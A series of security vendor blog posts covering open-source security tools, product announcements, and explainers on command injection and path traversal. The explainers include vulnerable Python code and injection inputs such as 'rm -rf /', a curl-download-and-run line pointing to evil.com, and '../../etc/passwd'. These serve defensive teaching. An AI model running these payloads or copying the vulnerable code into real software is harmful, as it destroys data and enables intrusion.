Welcome to our blog.

Security can be a difficult, expensive world to navigate. So we decided to create a comprehensive guide of open-source security tools to cut through the bullsh*t and show what the most critical tools to implement are, what assets you need to protect, and how you can build a long-term security plan using only free and open-source tools.

Download the guide here

What are the most critical tools?

There are seemingly endless security tools available, the first step is always deciding where to start. While it can always differ depending on specifics, we always recommend starting with the low-hanging fruit for attackers. Make sure your cloud infrastructure is secure, you don’t have secrets attackers can easily find, there are no simple coding mistakes leading to errors and you don’t have critical vulnerabilities in your open-source supply chain. From there you can implement more tools to improve security and behind to implement more best practices throughout the software development lifecycle.

What tools are available?

There are a lot of great open-source tools available and much will depend on your stack and exact needs, but below are some of what we consider to be the gold standard and a great place to start.

CSPM (Cloud Security Posture Management)

Cloudsploit
CSPM is an essential tool for protecting our cloud assets, Cloudsploit is an open-source CSPM. The project detects security risks in cloud infrastructure accounts, including Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP) and Oracle Cloud Infrastructure (OCI).

Secrets Detection

Trufflehog | gitleaks.
Secrets are high-value targets for attackers as they allow fast lateral movements into new systems, in fact, secrets are used in 83% of breaches. It is essential to detect them where they live, especially in your git repositories. Two of the best open-source tools for secrets are  Trufflehog and gitleaks.

SCA (Software Composition Analysis)

Trivy | Dependency-Check | Dependency-Track
Open-source dependencies make up 85% of the code of our applications, this can mean attackers know your code better than you do! It is critical that we know what open-source components contain vulnerabilities. SCA tools analyze what open-source dependencies we use in our applications and determine what have known vulnerabilities against them. Trivy, Dependency-Check and Dependecy-Track are great tools to help us understand our open-source risks.

SAST (Static Application Security Testing)

Bandit | Breakeman| GoSec |SemGrep
SAST reviews your source code for mistakes that can lead to security issues. Some of the most common errors SAST can uncover are injection vulnerabilities, encryption failures and buffer overflows. The tools you choose will need to be specific to your specific tech stack. Some great options Bandit (Python), Breakeman (Ruby), GoSec (Go) and SemGrep (Generic).

DAST (Dynamic Application Security Testing)

Nuclei | Zap
DAST tools act like an automated hacker that runs attacks against your domains to discover exploitable vulnerabilities, this is also sometimes referred to as surface monitoring. Two great open-source tools are Nuclei and Zap.

Malware Detection

Phylum
Classic SCA tools rely on vulnerabilities that have been publicly disclosed. Malware detection is about discovering malicious code inside packages that may not have been reported. Phylum is a great tool for this, while technically it is not completely open-source but does have a free version which can be used with their CLI scanning tool.

IaC Scanning

Checkov
Infrastructure as code has allowed us to more confidently and easily provision and deploy cloud infrastructure. This can however lead to misconfiguration that introduces security issues. CSPM tools discussed before can find errors in your cloud infrastructure whereas IaC scanning can prevent the errors from happening before deployment. Checkov is a great tool that can scan these for security issues

In-App Firewall

Zen-Node | Zen Python
There has been a real trend about shifting left in security (moving security earlier in the lifecycle), while this is great we shouldn’t neglect the other side of this and implement security for our running applications. Zen by Aikido is an open-source in-app firewall that can block attacks like injection at runtime adding a secondary level of protection. Zen-Node | Zen Python

End-of-life components

endoflife.date
A big risk of our open-source supplychain is components that are no longer being maintained, endoflife.date is a great database of projects that are no longer activity being maintained and shouldn’t be used in production.

License Protection

Trivy
It is important to be aware that you are using the correct open-source license with your application, Trivy provides great insights into open-source license types and how they are being used.

Are open-source tools as good as commercial versions?

Open-source tools can be very high quality in terms of their scanning capabilities. However commercial tools bring more to the table when it comes to noise reduction, remediation, and monitoring. Many commercial tools like Aikido use open-source scanners under the hood. You shouldn't be afraid to use open-source tools but do be aware that using open-source tools, particularly as you grow, will require a lot of engineering time.

Why use open-source security tools

• No barrier to entry (quick and free to get started)
• Open-source is a great tool to get board buy-in (These tools can be used to highlight security issues)
• High-quality scanners (Many open-source tools match capabilities in scanning)
• Community support

Why not use open-source security tools

• Difficult setup, open-source tools use a patchwork of languages and frameworks so getting them talking nicely is difficult.
• Noisy, open-source tools tend to focus on discovery so can bring many false positives if additional layers of filtering are not created.
• Limited support, if tools breaks you are on your own
• No RBAC. In modern development, it's important to have the entire team involved. Open-source security doesn’t allow any filtering between roles making it a heavy burden on the security team.

There is no right answer for open-source over commercial tools and both have their place, read more on this subject here.

The Aikido Difference

If you are investigating open-source security tools you will likely have come or will come to the realization that commercial tools are expensive while open-source tools require lots of work to be able to centralize them in a dashboard. In Aikido we understand that challenge and creating a product seamlessly brings together open-source projects, centralized into a single dashboard bringing context to every security issue with auto-triage and remediation workflows. This enables you to have the power of a large commercial tool at a fraction of the price.

Get Started for Free

Cursor AI has quickly become the hot AI code editor, rapidly gaining popularity with developers looking to write code faster and more efficiently. But while Cursor accelerates coding, how can devs trust that Gen AI code is secure?

TL;DR: with Aikido x Cursor, devs can secure their code as it’s written generated.

If you’ve missed the hype so far, Cursor is an “AI Native” IDE built on VSCode. It operates in an increasingly crowded field of Gen AI coding copilot startups, competing with Github Co-pilot, Cognition, Poolside, Magic, and Augment amongst others.

While Cursor was founded in 2022, but it wasn’t until mid-2024 that Cursor began its meteoric rise to the front of the Gen AI code race, around the same time that Cursor added Sonnet 3.5M as their default model... Below is a snapshot from last week’s ‘The Pragmatic Engineer” by Gregely Orosz, the #1 tech newsletter on substack, covering how developers rank different IDEs with GenAI features:

While respondents are likely mostly early adopters, it is still pretty impressive to see Cursor as a new entrant capturing hearts & minds so quickly. It’s no surprise they’ve since raised $60m in Series A funding from Andreessen Horowitz, Thrive Capital, OpenAI, Jeff Dean, Noam Brown, and the founders of Stripe, GitHub, Ramp, Perplexity, and OpenAI, among others.

That’s why Aikido Security is excited to launch our new integration with Cursor AI. Aikido x Cursor brings real-time security into the Cursor IDE, helping developers write and generate secure code from the start—without breaking stride.

How the Integration Works

Today you can integrate Aikido directly into your Cursor IDE. Aikido will scan your codebase for secrets, API keys and SAST code issues as you develop, whenever you open or save a file.

If any issues are detected, Aikido highlights them in the editor and displays issues in the Problems panel. When you hover over a detected SAST issue, additional tl;dr context about the problem is provided. In some instances, you can even fix issues with Cursor’s suggestions in chat (though its still rusty).

1. Detect Vulnerabilities Instantly
   Aikido scans code as it’s generated, identifying security vulnerabilities in real time. Clear, concise explanations ensure you know what the issue is and why it matters—no overcomplicated reports.
2. Fix Issues with One Click
   When a vulnerability is flagged, Cursor can generate fix suggestions in one click. You can apply it directly from within Cursor’s chat interface. Be aware that not all of Cursor’s suggestions are valid.
3. Stay Focused
   Everything happens within the Cursor IDE. There’s no need to switch tools, run external scans, or juggle separate platforms. Aikido integrates seamlessly into the IDE, so you can focus on building while knowing your code is secure.

Why It Matters

There’s no doubting the impact Gen AI will have on engineering. AI code generators or co-pilots are not infallible. On one hand, Gen AI can be used to increase security (more on this very soon!). On the other hand, they will also inevitably introduce vulnerabilities as well. We are all waiting for the day that AI can finish the nitty gritty. Today we are a step closer.

This integration allows developers to stay in the fast lane and build secure applications while leveraging the best of AI-driven tools while being assured the output is secure. Get security done. Get back to building.

Get Started

The Aikido integration is available now for Cursor users. For now, you will need a paid subscription to integrate. Follow the steps below:

Step 1. Head over to the Visual Studio Code Marketplace and follow the instructions on how to install an extension in Cursor.

Step 2. In Aikido, go to the Cursor IDE integration page and create your token.

Step 3. Check out the examples in our docs on the Visual Studio Marketplace to test whether everything works well.

Step 4. Get back to building.

Secure your code as it's written generated.

Intel is our open-source security threat feed powered by AI and our in-house research team. Intel monitors and uncovers vulnerabilities in open-source packages before they are disclosed. Many never are.

67% of software vulnerabilities silently patched were never disclosed

Open-source software powers the world, literally. However, open-source security is also an area of huge security concern. Open-source tools, like everything else, can introduce security vulnerabilities. These can be used by attackers to exploit your application. Leaving software vendors open to attacks through no fault of their own. This makes open-source security a very important topic.

Not only do we rely on the open-source community to build and maintain these tools, we also rely on them to fix any known security vulnerabilities. Importantly we also rely on these maintainers to publicly report the vulnerabilities when they are discovered. Public disclosure of vulnerabilities from the community forms the foundation of open-source security.

Silent patching, or shadow patching, is when a security fix is applied (patched) but never disclosed. This is a big issue because it means vendors may be running vulnerable software without them being aware of the risk.

We are launching Aikido Intel to bring out of the shadows silently patched software that could affect you. With Aikido Intel, we can give developers the earliest possible warning if we find vulnerabilities that may affect them and improve open-source security.

What is Aikido Intel?

Aikido Intel is an initiative by AI + our in-house research team to improve open-source security by discovering vulnerabilities in the open-source supply chain at the earliest possible moment. Even before they get disclosed in a vulnerability database. To achieve this we use custom-trained LLMs to review changes in packages and identify when a security issue has been fixed.

Like all software, open-source keeps a change log of what has been adjusted on each new version. Intel uses AI to read all these public change logs and release notes to find examples of where security issues have been patched. That is then matched against 5 vulnerability databases to see if the issue has been reported. If not we get a security engineer to analyze and evaluate the vulnerability assigning it an Aikido Vulnerability number and severity and publicly announcing it so you know if you are affected. Read more details about this later on

Checkout Aikido Intel now

Aikido Intel by numbers

Since launching in January Aikido, Intel has discovered 511 vulnerabilities that were patched but not disclosed publicly presenting a real threat to anyone using those packages.

Sometimes it can take time between patching a vulnerability and getting a CVE number assigned to the issue. Each week Aikido re-evaluates the status of previous vulnerabilities to see if any have a CVE assigned. We can disclose that 67% of the vulnerabilities we discovered were never publically disclosed to any vulnerability database!

While it is no surprise that low severity vulnerabilities are more frequently silently patched, it is still shocking that over 50% of high and critical vulnerabilities are never disclosed. This creates a huge blind spot for developers and software vendors.

Now I know some of you will be squirming in your seats saying that perhaps these are small, not so popular, open-source projects with limited security policies, but actually, you would be wrong. We found some undisclosed vulnerabilities in some very large projects. .

Axios a promise-based HTTP client for the browser and node.js with 56 million weekly downloads and 146,000 + dependents fixed a vulnerability for prototype pollution in January 2024 that has never been publicly disclosed.

Fun fact about this vulnerability: This was actually the first vulnerability Aikido Intel found (See number 2023-10001)…. It remains undisclosed to this day!

Now I don’t want to hand it to them, Axios is not alone, there are a few other names that deserve a special shout-out. Apache silently patched a vulnerability in the echarts software for cross-site scripting that was never disclosed.

Another interesting example we discovered was a critical path traversal vulnerability in the Chainlit that was patched in September but the vulnerability was never publically disclosed.

The most common vulnerabilities

Cross-site scripting was the most common undisclosed vulnerability accounting for 14.8% next to exposure of sensitive information 12.3%. Overall we detected 90 different types of vulnerabilities creating a long tail of results, below are some of the most common.

The most common vulnerabilities discovered

If we look just at the cuticle and high vulnerabilities we can see a slightly different picture with remote code execution taking the number one spot on the list

The most common vulnerabilities discovered - Critical and High only

Time to disclosure

While at the time of writing this  67% of packages never disclosed their vulnerabilities, 31% did, be that from the maintainers or security researchers (kudos to them). Of the packages that did disclose the vulnerabilities, it took an average of 27 days from the time the patch was released to when a CVE was assigned. The fastest time we observed was just 1 day and the longest time was 9 months!

How Intel works (in detail)

I know we are all sick of the new AI bullsh*t, but Intel is an initiative from Aikido’s security research team and Aikido's AI team leverages AI with a Human in The Loop to provide a public threat feed to improve open-source security.

Intel works by reading through all the publicly available changelogs and release notes to understand if security fixes have been made but not disclosed.  To achieve this, two LLM models are used, one for filtering the data, and removing all unnecessary context so the second LLM can focus on vulnerability analysis. A human security engineer then reviews the discoveries of the LLM, validates the findings, and releases an Intel when a vulnerability is confirmed.

This is such an effective method because it consumes remarkably less computational power than trying to scan all these systems for vulnerabilities. Yet, it has proven over a year to find many true results.

How Changelogs Are Viewed by Aikido Intel

Changelogs are documents maintained in open-source projects that record updates, bug fixes, feature additions, and patches. Examples include CHANGELOG.md files, commit messages, and GitHub release notes.

The Intel LLM identifies entries suggesting security-related changes by looking for:

• Keywords: “vulnerability,” “security,” “fix,” “exploit,” “input validation,” etc.
• Contextual cues: “Fixed a critical bug,” “Patched a buffer overflow,” “Resolved authentication issues.”

Example Entries Flagged by the LLM:
- Fixed an input sanitization issue in the login handler.
- Resolved a memory leak that could lead to denial-of-service attacks.
- Addressed a path traversal vulnerability in file upload functionality.

Open-source security, how vulnerabilities are disclosed properly

As stated earlier, public disclosed is a big component of open-source security. Several different databases are used to disclose when a software has a vulnerability inside it. The main database is the National Vulnerability Database (NVD) which the US government maintains. This database is not only used by companies to check their supplychain but also by security software that checks projects against this database and others (SCA software). There are multiple other databases including Mitre’s Common Vulnerabilities and Exposures database (CVE), GitHub Advisory Database, and many more, in total Aikido checks against 5 different databases. But what most of these databases have in common is that they require vulnerabilities to be publicly disclosed, usually after a fix has been released.

Why are vulnerabilities not disclosed?

This is a good question and I want to start by saying there is no good reason not to disclose vulnerabilities. Perhaps the most common is reputational risk, that your software may be viewed as insecure, but I would argue there is much more to lose from not disclosing than disclosing.

Why shadow patching is a problem for open-source security

Not publicly disclosing vulnerabilities in your software creates a huge risk for your users. As the saying goes, if it isn't broken don’t fix it, this applies quite often to software.

Updating components of your software can often create issues in performance, and usability or simply break your application, with this in mind it's not always common practice to immediately update packages when a newer version is available.

When, however, there is a security issue in a component it is important to know as it changes the urgency in which you update your open-source and third-party components. Not disclosing this information means users are less likely to update meaning they will have security flaws in their tools they didn’t know about, hence why shadow patching is such a problem.

Don’t let hidden vulnerabilities compromise your security.

Partner with Aikido Security today to protect your supply chain and gain peace of mind.

If you missed it, over the summer months launched our product on the AWS Marketplace with the promise to deliver the fastest “time-to-security” in the industry for new AWS users.

We’ve also officially joined the AWS Partner Network (APN) as a validated AWS partner.

This means we went through the AWS Foundational Technical Review (FTR). We are FTR-approved* and meet the well-architected best practices enforced by AWS, not to brag. ;)

Psst. You’ll soon be able to use Aikido to achieve FTR approval. We’re mapping Aikido functionality to the FTR security process, so you can get up, running, and co-selling with AWS fast. Interested? → sign up here and you’ll be the first to know when.

Beyond the snazzy partner badge, we’re excited to be an official AWS partner to unlock greater access to the AWS community. We can better serve cloud-native customers, cut-out unnecessary complexity in the customer journey, and expand our own Cloud Security Posture Management (CSPM) product for AWS Cloud users.

Why add Aikido to your AWS bill?

Aikido Security provides comprehensive code-to-cloud coverage, aligning well with AWS’s full-stack capabilities. This is especially valuable for AWS customers managing both application and cloud security on a unified platform.

The direct integration with AWS environments simplifies deployment, enabling Aikido to scan for vulnerabilities across AWS services like EC2, S3, Lambda, and more – enhancing security visibility within AWS and complementing cloud-native architecture. Aikido's AWS posture management is built on AWS Inspector. We can show you findings that can cause hackers to gain initial access to your cloud.

Further, Aikido’s built-in compliance checks align with major standards (SOC2, ISO 27001, NIS 2, HIPAA), making it easier for AWS clients to maintain compliance across AWS’s infrastructure, which is especially valuable for regulated industries.

Interested to check it out? Come find us on the AWS marketplace

What is Command Injection?

Command injection is a vulnerability still very prevalent in web applications despite being less famous than its cousins SQL injection or Code injection. If you’re familiar with other injection vulnerabilities, you’ll recognize the common principle: untrusted user input is not properly validated, leading to the execution of arbitrary system commands. This flaw occurs when unvalidated input is passed to system-level functions. So how prominent is command injection actually? We looked at how common it is to see this vulnerability in the wild, *spoiler*, it is surprisingly common!

Example of Command Injection

Consider this example of command injection,  let’s say you have an application where you can enter the name of a file hosted on a server. The application retrieves that file writing out its content. The code for which is below

import os

file_name = input("Enter the file name: ")
os.system(f"cat {file_name}")

The above code expects a user to insert a file name like file.txt , but instead  a malicious user injects some code to run malicious commands.

For example
Name of file: file.txt; rm -rf /

This input would first display the contents of file.txt and then execute the malicious rm -rf command, which will forcibly delete all the files in a directory.

The malicious user can do this because the application did not validate or sanitize the user's input making the application susceptible to command injection.

If you would like a more comprehensive example see the bonus content at the bottom of this page.

Command Injection in Numbers: Our Research

• 7% of all vulnerabilities found in open-source projects in 2024 were command injection
• 5.8% for closed-source projects!
• An increase in the total number of command injection vulnerabilities in open-source projects  from 2,348 (2023) to an expected 2,600 (2024).
• As a percentage of all vulnerabilities, Command injection is getting less popular: a decrease of 14.6% and 26.4% for open-source and closed-source projects respectively from 2023 to 2024

Our research focused on researching both open-source and closed-source projects to reveal how many had command injection vulnerabilities hiding within.

Overall the number of command injection vulnerabilities is very high with 7% of  allvulnerabilities reported in open-source projects being command injection and 5.8% in closed-source projects. This is quite close to the number of SQL injection vulnerabilities found.

There is some good news to pull out of the data too, we are seeing a solid trend of these vulnerabilities reducing from 2023 to 2024. As a percentage of all vuleribilities we saw a reduction of 27% in closed-source projects and 14% in open-source. There are likely many factors contributing to this, one likely significant factor is that the FBI and CISA in 2024 pointed to command injection as a real threat and urged vendors to pay attention to it. According to the data, this warning was heard.

The good news unfortunately stops there. We are still seeing an increase in the overall number of vulnerabilities reported in open-source projects. The total number of injection vulnerabilities reported in open-source projects went from 2,348 in 2023 to 2,450 so far in 2024 (expected to reach 2,600)

How to Prevent Command Injection

Preventing command injection vulnerabilities requires a multi-faceted approach:

Server-side Input Validation

A common mistake some make is performing only clientside validation which can be bypassed by an attacker making a direct request.

import subprocess

# Example of restricted input
allowed_files = ['file1.txt', 'file2.txt']
user_input = "file1.txt"  # This should come from user, but is validated

if user_input in allowed_files:
   subprocess.Popen(['ls', '-l', user_input])
else:
   print("Invalid input!")

Avoid shell commands

Replace shell commands with language-native functions or libraries where possible. Below is an example of using read only mode to open a file and read the contexts within.

with open("file.txt", "r") as f:
print(f.read())

Automated Testing

Use tools like Aikido to scan your source code and application to discover these vulnerabilities.

Use an in-app firewall

One of the best defenses against injection attacks is an in-app firewall that is able to catch and block malicious commands. Aikido’s in-app firewall Zen is available in open-source and commercial is able to detect and block injection attacks at run time.

Apply the Principle of Least Privilege

Configure applications and users to run with the minimum privileges necessary, reducing potential damage from exploitation.

The road forward

Command injection along with many injection vulnerabilities is a challenge, from a technology point of view, we have solved this, meaning there is no need to have this kind of vulnerability in your applications. With that in mind, the fact that we still see so many of these types of vulnerabilities means we can’t expect a quantum leap of improvement.

Command injection will continue to be a problem however because we did see a significant drop this year with large organizations putting a focus on this vulnerability, there is hope to think that command injection may become less prominent in the future if we continue to bring awareness to it.

Bonus Content

A History of Command Injection: Prominent Breaches

Command injection has been a persistent threat for a long time. In fact, there was a significant command injection vulnerability that was present in bash from 1989 all the way to 2014. More recently in 2024, the importance of command injection was highlighted by the CISA and FBI showing it is still a big concern.

1. Early Days of Command Injection

• First Known Usage: Command injection vulnerabilities emerged with the rise of multi-user computing systems in the 1970s and 1980s, allowing attackers to execute arbitrary commands via unsanitized inputs.
• 1980s and 1990s: The proliferation of web technologies led to increased exploitation of command injection, particularly through improperly secured CGI scripts.

2. Significant Breaches and Exploits

• 1998: The First Documented Web-based Command Injection Attack: A vulnerability in a widely used Perl-based CGI script was exploited, marking one of the first major web-based command injection incidents.
• 2010: Stuxnet Worm (Embedded Command Injection): Stuxnet utilized command injection to target industrial control systems, demonstrating the vulnerability's reach beyond traditional IT environments.

3. 2010s: Exploitation at Scale

• 2014: Shellshock Vulnerability: Shellshock (CVE-2014-6271) exploited Bash's command processing, affecting millions of systems worldwide.
• 2018: Cisco ASA VPN Exploit (CVE-2018-0101): A command injection vulnerability in Cisco's ASA software allowed remote code execution, compromising enterprise security.

4. 2020s: Modern Exploits and Trends

• 2020: Citrix ADC Gateway Exploit: Attackers exploited command injection vulnerabilities in Citrix systems, leading to significant data breaches.
• 2023: MOVEit Vulnerability (SQL and Command Injection): A command injection flaw in MOVEit Transfer software led to widespread data breaches across multiple organizations.

Realistic command injection vulnerability

The Vulnerable Code

Let's look at a slightly more complex example of command injection. Below is some code for a simple Python web application. It allows users to create a ZIP archive of specified files by sending a POST request to the /archive route.

from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/archive', methods=['POST'])
def archive_files():
   files = request.form.get('files')  # User provides file names to archive
   archive_name = request.form.get('archive_name')  # User provides archive name
   
   command = f"zip {archive_name}.zip {files}"  # Command built dynamically
   os.system(command)  # Execute the system command

   return f"Archive {archive_name}.zip created successfully!"
if __name__ == "__main__":
   app.run(debug=True)

How It Works

The user supplies:

• files (e.g., file1.txt file2.txt) to specify which files to include in the archive.
• archive_name to specify the name of the resulting zip archive.

The code constructs a shell command dynamically:

1. zip archive_name.zip file1.txt file2.txt

2. The os.system() function executes the command, allowing the user-provided inputs to dictate its behavior.

Exploitation

An attacker exploits this by injecting additional commands into the archive_name or files inputs.

Input Provided by the Attacker:

• archive_name: my_archive; rm -rf /
• files: file1.txt

The Resulting Command:

zip my_archive.zip file1.txt; rm -rf /

1. zip my_archive.zip file1.txt: Creates an archive as expected.
2. ; rm -rf /: Deletes all files on the server by executing a separate destructive command.

A More Sophisticated Example

The attacker might exploit this to download malware or exfiltrate data:

archive_name: archive; curl -o malware.sh http://evil.com/malware.sh; bash malware.sh

Resulting Command:

zip archive.zip file1.txt; curl -o malware.sh http://evil.com/malware.sh; bash malware.sh

This command:

1. Creates an archive (zip archive.zip file1.txt).
2. Downloads malicious code (curl -o malware.sh http://evil.com/malware.sh).
3. Executes the malware (bash malware.sh).
   

Path traversal, also known as directory traversal, occurs when a malicious user manipulates user-supplied data to gain unauthorized access to files and directories. Typically the attacker will be trying to access logs and credentials that are in different directories. Path traversal is not a new vulnerability and has been actively exploited since the 90s when web servers gained popularity, many relied on Common Gateway Interface (CGI) scripts to execute dynamic server-side content.

With such a long history, is path traversal still popular today? We conducted a study of both open-source and closed-source projects to gather data to see how common path traversal was in 2024 and if we are improving, Spoilers we aren’t.

Path traversal example

So how exactly does path traversal work? Let's look at a simple example.

In this simple application, a user is given a file to download via a variable in the URL.

There is some simple backend Python code handling the request.

import os  

def download_file(file):    
   base_directory = "/var/www/files"
   file_path = os.path.join(base_directory, file)          

   if os.path.exists(file_path):        
       with open(file_path, 'rb') as f:            
            return f.read()    
   else:        
      return "File not found"

Now as the variable is supplied in the URL we can change it to something like this file=../../../../etc/passwd

Here the attacker is using the ../../ to traverse up the directory structure to the system root level and access the passed file potentially gaining access to sensitive information.

If you want to see how this method could be secured scroll down to bonus content.

In more complex scenarios involving multiple layers of directories or encoded characters (e.g., %2e%2e%2f), attackers can bypass basic filters and gain deeper access into the file system.

Path traversal by the numbers

• 2.7% of all vulnerabilities found in open-source projects in 2024 so far were path traversal
• 3.5% for closed-source projects!
• An increase in the total number of path traversal vulnerabilities in open-source projects from 742 (2023) to an expected 1,000 (2024).
• As a percentage of all vulnerabilities, path traversal is getting more common with a massive increase in closed-source projects of 85%

Our research focused on researching both open-source and closed-source projects to reveal how many had path traversal vulnerabilities hiding within.

Overall the number of path traversal vulnerabilities is lower than some others we have researched such as Command Injections, or SQL Injections. But considering that this vulnerability can be very dangerous and has well-documented solutions to prevent it, it is alarming to see the numbers as high as they are. It is even more alarming to see the trends for this vulnerability going in the wrong direction. f

Open Source Projects

In open-source projects, path traversal accounted for 2.6% of all reported vulnerabilities in 2023. This figure saw a slight increase in 2024, rising to 2.75%. While this increment may seem marginal at first glance, it underscores ongoing challenges in securing open-source software against even simple vulnerabilities.

Closed Source Projects

The most notable trend was observed in closed-source projects where path traversal incidents surged from 1.9% in 2023 to 3.5% in 2024—a substantial increase of 85% highlighting an alarming trend of this kind of vulnerability.

The bad news unfortunately doesn’t stop there. We are still seeing an increase in the overall number of vulnerabilities reported in open-source projects. The total number of injection vulnerabilities reported in open-source projects went from 742 in 2023 to 917 so far in 2024 (expected to reach 1,000)

Preventing Path Traversal

Preventing command injection vulnerabilities requires a multi-faceted approach:

Input Validation

• Sanitize user inputs: Strip out or encode dangerous characters such as ../, ..\, ..%2f, or other variations.
• Allowlist approach: Define a strict set of permissible inputs (e.g., file names or paths) and reject anything outside this list.

Restrict File Access

• Use a chroot jail or sandbox: Limit the application’s file access to a restricted directory, ensuring it cannot traverse beyond the intended directory tree.
• Set root directories: Define base directories and ensure all paths are relative to them. Use APIs or frameworks that enforce this, such as:java.nio.file.Paths.get("baseDir").resolve(userInput).normalize() in Java.
  os.path.realpath() and os.path.commonpath() in Python.

Secure File Access APIs

• Use secure file access methods provided by modern libraries or frameworks:In Java, use Files.newInputStream() or Files.newBufferedReader() for safe file handling.
  In Python, ensure you validate file paths before accessing them.

Use Environment Restrictions

• Set restrictive file system permissions:Ensure the application has only the minimum required privileges.
  Deny access to sensitive directories (e.g., /etc, /var, /usr, and user home directories).
• Disable unnecessary features in web servers or frameworks (e.g., symbolic link following).

Automated Testing

• Use tools like Aikido to scan your source code and application to discover these vulnerabilities.
• Both SAST and DAST tools should be used together along with domain scanning and cloud security to ensure you have no hidden path traversal vulnerabilities.

Use an in-app firewall

• One of the best defenses against injection attacks is an in-app firewall that is able to catch and block malicious commands.

The road forward

Path traversal is a vulnerability that has been present since the beginning of web apps and while it is often quite simple, it can also be a very devastating exploit. This makes it so concerning that such a large percentage of projects are still struggling with such issues. While 3.5% does not seem like a high number, it is quite remarkable that the number is growing in popularity despite its clear continued and well-documented threat.

Path traversal isn’t a vulnerability that is going away but the good news is that there are clear ways we can find these vulnerabilities in our application and remediate any issues we find.

Bonus Content

Real-World Incidents

There have been several high-profile breaches or vulnerabilities in recent years that involved path traversal as either the primary point of entry or as part of a chain of vulnerability

Microsoft IIS Unicode Exploit (2001)

One of the earliest high-profile path traversal exploits targeting Microsoft IIS servers. Attackers used encoded paths to bypass validation mechanisms (e.g., using %c0%af to represent /). This allowed them to access and execute files outside the web root directory.

This enabled the deployment of malware and defacement of numerous websites.

Fortinet VPN Path Traversal (2019)

Fortinet's SSL VPN was found to have a directory traversal vulnerability (CVE-2018-13379). Attackers exploited this flaw to access sensitive system files, such as plaintext passwords for VPN users.

Thousands of VPN credentials were leaked online, exposing organizations to unauthorized access and further attacks.

Capital One Breach (2019)

What happened: While the primary cause was an SSRF vulnerability, the attacker also leveraged directory traversal in accessing AWS S3 bucket metadata. The attacker exploited misconfigurations to retrieve configuration files that should have been inaccessible.

This exposed personal data of 106 million credit card applicants.

Path Traversal in Kubernetes Dashboard (2020)

The Kubernetes Dashboard had a directory traversal flaw (CVE-2020-8563). Attackers exploited this to read sensitive files in the container, including secrets stored in /etc.